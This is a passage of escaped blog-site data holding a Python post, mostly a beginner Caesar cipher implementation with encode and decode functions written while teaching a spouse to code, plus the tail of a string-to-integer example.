#6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(n)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'0'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i,n \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eenumerate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ereversed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1234'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))])\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1234\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","category":"Development","date":"2010-10-27T19:00:00-05:00","tags":["Python","Interviews"],"title":"Convert a string to an integer in Python"},{"id":["old","caesar_cipher_in_python"],"path":"old/caesar_cipher_in_python","contentHtml":"\u003cp\u003eI'm currently teaching my wife to code and one of the problems that we\nworked on to teach her some fundamental programming concepts was\nre-implementing the caesar cipher in python. It was fun not only to code\nbut to also start sending each other \"secret\" messages!\u003c/p\u003e\n\u003cp\u003eThe caesar cipher is a rather simple encoding, you just shift the\nalphabet a certain amount of characters. For example, if you are using a\nshift of 2:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ea =\u003e c\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eb =\u003e d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ey =\u003e a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ez =\u003e b\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUsing this as an interview type question would provide a few interesting\nproblems and give you a good perspective on how good a developers\nproblem solving skills are and how knowledgeable they are in the\nlanguage of their choice.\u003c/p\u003e\n\u003cp\u003eThe first issue is to handle the beginning and end of the alphabet, if\nyou are encoding 'z' then you will have to start your shift on a. The\nsecond problem is to only encode letters since there was no ascii table\nto define in what order characters are shifted back in those times.\u003c/p\u003e\n\u003cp\u003eWithout using too much of the built in python niceties you could do\nsomething similar to this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003edecode_shift_letter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e start:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        new_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e26\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eencode_shift_letter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        new_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e26\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003edecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift, decode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eencode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift, encode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emodify_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift, shift_letter):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e''\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letter \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# we only encode letters, random characters like +!%$ are not encoded.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Lower and Capital letters are not stored near each other on the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# ascii table\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        lower_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'a'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        lower_end \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'z'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        upper_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'A'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        upper_end \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Z'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e lower_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e lower_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift_letter(current_ord, lower_start, lower_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e upper_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e upper_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift_letter(current_ord, upper_start, upper_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e new_sentence\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eget_shift\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'What shift would you like to use?\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eValueError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Shift must be a number'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e25\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Shift must be between 1 and 25'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emain\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'1) Encode \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'2) Decode \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eValueError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Invalid task, try again!'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        main()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'What message would you like to \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%s\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Encode'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Decode'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e task \u003c/span\u003e\u003cspan style=\"color: 